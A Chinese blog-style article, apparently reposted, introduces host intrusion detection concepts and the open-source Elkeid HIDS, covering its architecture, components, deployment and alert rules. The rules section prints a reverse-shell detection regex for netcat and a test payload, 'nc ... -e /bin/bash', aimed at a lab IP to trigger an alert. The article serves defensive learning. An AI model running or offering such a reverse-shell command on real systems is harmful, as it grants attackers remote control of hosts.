主机安全-开源HIDS字节跳动Elkeid安装使用

目录

  • 概述
    • 什么是HIDS
    • HIDS与NIDS的区别
    • EDR、XDR是啥?
  • Elkeid
    • 架构
    • Elkeid Agent && Agent center
    • Elkeid Driver
    • Elkeid RASP
    • Elkeid HUB
    • Service Discovery
    • Manager
    • 安装
    • 数据采集
    • 规则&告警
  • 参考


概述

什么是HIDS

HIDS( host-based intrusion detection system,基于主机的入侵检测系统),通过监测主机上的进程、文件、网络等信息来识别入侵风险。

HIDS与NIDS的区别

NIDS基于网络流量来进行入侵检测,和HIDS相比,实时性更高,对主机没有性能影响。一般装在网关等地方获取镜像流量即可,无需安装在每台主机节点,开源NIDS有Suricata等。

EDR、XDR是啥?

EDR(Endpoint Detection and Response,端点检测与响应),相较于传统的HIDS,EDR增加了响应的部分,例如添加SOAR(security orchestration, automation and response,安全编排、自动化与响应系统)、止损手段。
XDR( eXtended Detection and Response ,可扩展检测与响应),相较于EDR,能够结合多个数据源(云原生安全、电子邮件安全等)。

Elkeid

架构

在这里插入图片描述

  • Elkeid Agent:代理,与Manager节点通信,负责上传日志等信息,管理组件。
  • Elkeid Driver:负责 Linux Kernel 层采集数据,兼容容器,并能够检测常见 Rootkit。
  • Elkeid RASP:支持 CPython、Golang、JVM、NodeJS、PHP 的运行时数据采集探针,支持动态注入到运行时。
  • Elkeid HUB:策略引擎。
  • AgentCenter:收集Agent 数据,写入到消息队列,给Agent下发指令。
  • ServiceDiscovery:服务发现。
  • 实时计算模块:消费消息队列数据,进行分析和检测。
  • 离线计算模块:消费消息队列数据
  • Manager:管理各个模块。

Elkeid Agent && Agent center

参考关于 Elkeid Agent
Agent具有数据通信、资源监控、组件版本控制、文件传输、机器基础信息采集等功能。

Agent拥有多个Plugins,是Agent的插件,Agent的子进程,可以由多种语言实现。

  • Driver Plugin: 负责与 Elkeid Driver 通信,处理其传递的数据等
  • Collector Plugin: 负责端上的资产/关键信息采集工作,如用户,定时任务,包信息等
  • Journal Watcher: 负责监测systemd日志的插件,目前支持ssh相关日志采集与上报
  • Scanner Plugin:负责在端上进行静态检测恶意文件的插件,支持
  • Yara RASP Plugin: 分析系统进程运行时,上报运行时信息,处理下发的Attach 指令,收集各个探针上报的数据
  • Baseline Plugin: 负责在端上进行基线风险识别的插件

Agent Center基于gRPC + ProtoBuf通信,具有以下功能

  • 限流:最大链接数保护
  • 负载均衡:SD服务发现+Manager动态控制
  • 通信链路安全:SSL+HTTPS
  • 上报数据Kafka

Elkeid Driver

参考关于 Elkeid Driver
Elkeid Driver 主要通过 Kprobe Hook Kernel Function 来提供丰富而准确的数据收集功能,包括内核级进程执行探测,特权升级监控,网络审计等等。,并且支持 Linux Namespace。
主要是Plugins、Hook、Filter、Anti-Rootkit四个功能。

Elkeid RASP

参考Golang-RASP
RASP(Runtime application self-protection,实时应用自我防护),通过探针的方式注入到应用中,在运行时实时防护。

Elkeid HUB

参考:Elkeid HUB
在这里插入图片描述

  • INPUT 数据输入层,社区版仅支持Kafka
  • RULEENGINE/RULESET 对数据进行检测/外部数据联动/数据处理的核心组件
  • OUTPUT 数据输出层,社区版仅支持Kafka/ES
  • SMITH_DSL 用来描述数据流转关系

Service Discovery

服务发现,发现Agent。
负载均衡,

Manager

任务下发,分布式任务分发系统。

安装

根据Elkeid 完整部署进行部署。
在这里插入图片描述
在这里插入图片描述

数据采集

参考:数据接入指南
在这里插入图片描述

规则&告警

参考:HIDS开源策略列表
以hids_detect的reverse_shell_detect_argv为例,正则如下:

(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))

攻击payload如下:

nc 172.19.0.3 8888 -e /bin/bash

在这里插入图片描述
告警如下:
在这里插入图片描述
配置了一个企微机器人,收到消息:
在这里插入图片描述

参考

HIDS与NIDS的区别
crowdstrike-EDR
paloalto-XDR
五款流行开源的 HIDS 系统简单介绍
最后的防线:三款开源HIDS应用对比评估
腾讯自研HIDS「洋葱」后台上云架构演进实践

github-ossec
github-yulong-hids-archived
github-Elkeid

wazuh
github-wazuh
开源安全平台Wazuh的部署与体验

tripwire

suricate
github-suricata

奇安信-终端安全响应系统(EDR)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/44868.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用Gitee仓库镜像管理功能实现Gitee与Github 双向同步

进入你所需要同步的仓库,点击「管理」->「镜像仓库管理」,点击「添加镜像」选项; 如果你的Gitee账号还没有绑定过 GitHub 帐号,先根据弹窗的提示绑定 GitHub 帐号; 添加镜像时候,在「镜像方向」中选择…

二次开发源码 借贷系统uniapp/借贷认证系统/小额信贷系统/工薪贷APP/资金贷系统h5

前端:UNIAPP 后端:ThinkPHP 数据库: Mysql 前端使用的uniapp 可以打包APP H5 小程序 系统提供了完善的网络借贷体系,为金融中介平台提供从获客到贷后管理全流程服务,解决了借贷手续繁琐、流程缓慢等问题 此源码为运营…

ES6操作符使用总结

最近做新项目时候用到了ES6 添加的一些运算符,使用起来很方便,简化了代码,增强了代码容错性。使用感不错,下面做了总结,本文也会持续维护。 1. !!props.useDefaultColor 这个技巧的作用是将任何 JavaScript 值转换为…

管理Linux本地用户和组

什么是用户 用户账户在可以运行命令的不同人员和程序之间提供安全界限。 在Linux系统中,系统通过分配唯一的标识号(用户ID或UID)来区分不同的用户帐户。 在Linux系统中,用户帐户有以下三种主要类型: 超级用户 负责…

分布式一致性算法:Raft学习

分布式一致性算法:Raft学习 1 什么是分布式系统? 分布式系统是由一组通过网络进行通信、为了完成共同的任务而协调工作的计算机节点组成的系统。这些节点可能位于不同的物理位置,但它们协同工作以提供一个统一的计算平台或服务。分布式系统…

对于复杂的数学模型,怎样利用 MATLAB 的优化工具箱进行准确的参数估计和模型拟合?

要利用MATLAB的优化工具箱进行准确的参数估计和模型拟合,可以按照以下步骤进行: 定义模型:根据问题的需求和数学模型的形式,定义好模型的数学表达式。 收集数据:收集实际观测数据,这些数据将用于拟合模型和…

Ubuntu linux安装新版本go

加速网站:GOPROXY.IO - A Global Proxy for Go Modules 下载地址:All releases - The Go Programming Language Ubuntu jammy版本里面自带的go版本较低,build ollama的时候报错,于是升级go 升级操作 从上面下载地址找到自己需…

25秋招面试算法题 (Go版本)

文章目录 科大讯飞 0713找01不能出现太多 科大讯飞 0713 找01 牛牛拥有一个长度为 n 的01 串,现在他想知道,对于每个字符,在它前面的最近的不同字符的下标是多少? 输入描述 本题为多组测试数据,第一行输入一个正整…

代码随想录第五十五天打卡

42. 接雨水 接雨水这道题目是 面试中特别高频的一道题,也是单调栈 应用的题目,大家好好做做。 建议是掌握 双指针 和单调栈,因为在面试中 写出单调栈可能 有点难度,但双指针思路更直接一些。 在时间紧张的情况有,能写出…

Unity中一键生成具有身体感知的虚拟人物动作

在虚拟现实(VR)和增强现实(AR)的浪潮中,如何让虚拟人物的动作更加自然、真实,已经成为一个重要课题。AI4Animation项目,一个由 Sebastian Starke 主导的开源框架,为Unity开发者提供了强大的工具集,以实现这一目标。本文…

OrangePi AIpro在安防领域的深思和实战(旷视科技CNN模型ShuffleNetV1开发案例测试)

一、前言 公司最近有个项目是安防领域的,主要用在边缘结点,虽然已做成形,但是还是存在一些缺陷,例如:算力问题,开发板的成熟问题,已经各种技术的解决方案落地问题。目前我们集成了很多功能&…

Facebook 开源计算机视觉 (CV) 和 增强现实 (AR) 框架 Ocean

Ocean 是一个独立于平台的框架,支持所有主要操作系统,包括 iOS、Android、Quest、macOS、Windows 和 Linux。它旨在彻底改变计算机视觉和混合现实应用程序的开发。 Ocean 主要使用 C 编写,包括计算机视觉、几何、媒体处理、网络和渲染&#x…

python中的pickle模块和json模块

目录 pickle: Python 中的pickle 是一个内置模块,用于序列化和反序列化 Python 对象结构。序列化是将对象转换成字节流的过程,这样对象就可以被存储到文件中或者通过网络传输。反序列化则是将这些字节流重新转换成原始对象的过程。 json: json模块是 …

实现多层感知机

目录 多层感知机: 介绍: 代码实现: 运行结果: 问题答疑: 线性变换与非线性变换 参数含义 为什么清除梯度? 反向传播的作用 为什么更新权重? 多层感知机: 介绍:…

taocms 3.0.1 本地文件泄露漏洞(CVE-2021-44983)

前言 CVE-2021-44983 是一个影响 taoCMS 3.0.1 的远程代码执行(RCE)漏洞。该漏洞允许攻击者通过上传恶意文件并在服务器上执行任意代码来利用这一安全缺陷。 漏洞描述 taoCMS 是一个内容管理系统(CMS),用于创建和管…

持续集成的自动化之旅:Gradle在CI中的配置秘籍

持续集成的自动化之旅:Gradle在CI中的配置秘籍 引言 持续集成(Continuous Integration, CI)是现代软件开发中的一项基础实践,它通过自动化的构建和测试流程来提高软件质量和开发效率。Gradle作为一个灵活的构建工具,…

【眼疾病识别】图像识别+深度学习技术+人工智能+卷积神经网络算法+计算机课设+Python+TensorFlow

一、项目介绍 眼疾识别系统,使用Python作为主要编程语言进行开发,基于深度学习等技术使用TensorFlow搭建ResNet50卷积神经网络算法,通过对眼疾图片4种数据集进行训练(‘白内障’, ‘糖尿病性视网膜病变’, ‘青光眼’, ‘正常’&…

jenkins系列-05-jenkins构建golang程序

下载go1.20.2.linux-arm64.tar.gz 并存放到jenkins home目录: 写一个golang demo程序:静态文件服务器:https://gitee.com/jelex/jenkins_golang package mainimport ("encoding/base64""flag""fmt""lo…

window下安装go环境

一、go官网下载安装包 官网地址如下:https://golang.google.cn/dl/ 选择对应系统的安装包,这里是window系统,可以选择zip包,下载完解压就可以使用 二、配置环境变量 这里的截图配置以win11为例 我的文件解压目录是 D:\Software…

力扣32.最长有效括号

力扣32.最长有效括号 class Solution {public:int longestValidParentheses(string s) {int n s.size();int res0;int start -1;vector<int> st;for(int i0;i<n;i){if(s[i] ()st.push_back(i);else{//前面没有( , (开启下一段)下一段的开始更新为当前下标if(st.emp…